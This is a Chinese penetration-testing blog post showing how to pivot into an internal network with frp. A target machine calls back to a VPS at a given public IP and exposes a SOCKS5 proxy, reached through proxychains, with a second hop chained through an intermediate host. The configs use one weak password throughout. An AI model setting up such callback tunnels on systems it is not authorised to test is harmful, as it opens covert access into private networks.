https://github.com/fatedier/frp/releases
靶机无公网ip,但可以出网
VPS上,由于是linux系统,软件采用frp_0.36.2_linux_amd64
要给其执行权限
chmod 777 *
编辑服务端配置文件
vim frps.ini
[common]
bind_port = 9900
\#开放的frp服务端端口
dashboard_port = 9901
\#frp管理的web端口
dashboard_user = c6h5no2
\#管理web端的用户名
dashboard_pwd = c6h5no2
\#管理web端的密码
运行frps文件
后台运行
./frps -c frps.ini >/dev/null 2>&1 &
正常运行
./frps -c frps.ini
将本地的8000(web服务)端口映射到服务端的9909上
后台运行
./frpc -c frpc.ini >/dev/null 2>&1 &
vim frps.ini
[common]
bind_port = 9900
#配置frp客户端服务端的连接端口
dashboard_port = 9901
#frp管理web端口
dashboard_user = c6h5no2
#登录web端口的用户
dashboard_pwd = c6h5no2
#登录web端口的密码
token = c6h5no2
#身份验证
heartbeat_timeout = 90
#心跳超时时间
max_pool_count = 5
#最大线程数
vim frpc.ini
[common]
server_addr = 39.108.191.21
server_port = 9900
token = c6h5no2
pool_count = 5
#上面同理,设置了线程数
[C6H5NO2]
remote_port = 9909
#服务端代理的端口
plugin = socks5
#socks5的类型
type = tcp
plugin_user = c6h5no2
#连接socks5的用户名
plugin_passwd = c6h5no2
#连接的密码
use_encryption = true
#传输加密
use_compression = true
#数据压缩
sudo vim /etc/proxychains4.conf
测试是否连通(靶机的8000开了web服务)
proxychains4 curl http://127.0.0.1:8000
成功访问
VPS <=> A <=> B
vim frpc.ini
[common]
server_addi = B的ip
server_port = 9910
token = c6h5no2
[socks5]
plugin = socks5
type = tcp
remote_port = 9933
use_encryption = true
use_compression = true
A作为VPS的客户端,也是B的服务端,所以A两个都需要配置并开启
A的服务端(A相当于做端口映射,将B的流量映射到A和VPS交流的端口)
vi frps.ini
[common]
bind_port = 9910
#配置B和C沟通的接口
token = c6h5no2
#身份验证
heartbeat_timeout = 90
#心跳超时时间
max_pool_count = 5
#最大线程数
vim frpc.ini
[common]
server_addr = 39.108.191.21
server_port = 9900
token = c6h5no2
pool_count = 5
#上面同理,设置了线程数
[C6H5NO2]
type = tcp
local_port =9933
#C映射到B的端口
remote_port = 9922
#映射到VPS的端口
use_encryption = true
#传输加密
use_compression = true
#数据压缩
vi frps.ini
[common]
bind_port = 9900
#配置frp客户端服务端的连接端口
token = c6h5no2
#身份验证
heartbeat_timeout = 90
#心跳超时时间
max_pool_count = 5
#最大线程数
本文作者:硝基苯
本文链接:https://www.c6sec.com/index.php/archives/195/
最后修改时间:2021-05-19 21:15:05
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!